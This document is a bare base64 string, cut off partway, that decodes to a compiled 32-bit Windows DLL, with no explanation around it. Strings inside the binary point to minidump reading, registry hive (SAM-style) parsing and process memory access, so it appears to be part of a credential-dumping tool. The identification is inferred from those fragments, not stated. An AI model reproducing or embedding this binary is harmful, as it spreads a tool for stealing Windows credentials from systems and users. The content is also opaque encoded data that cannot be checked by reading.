"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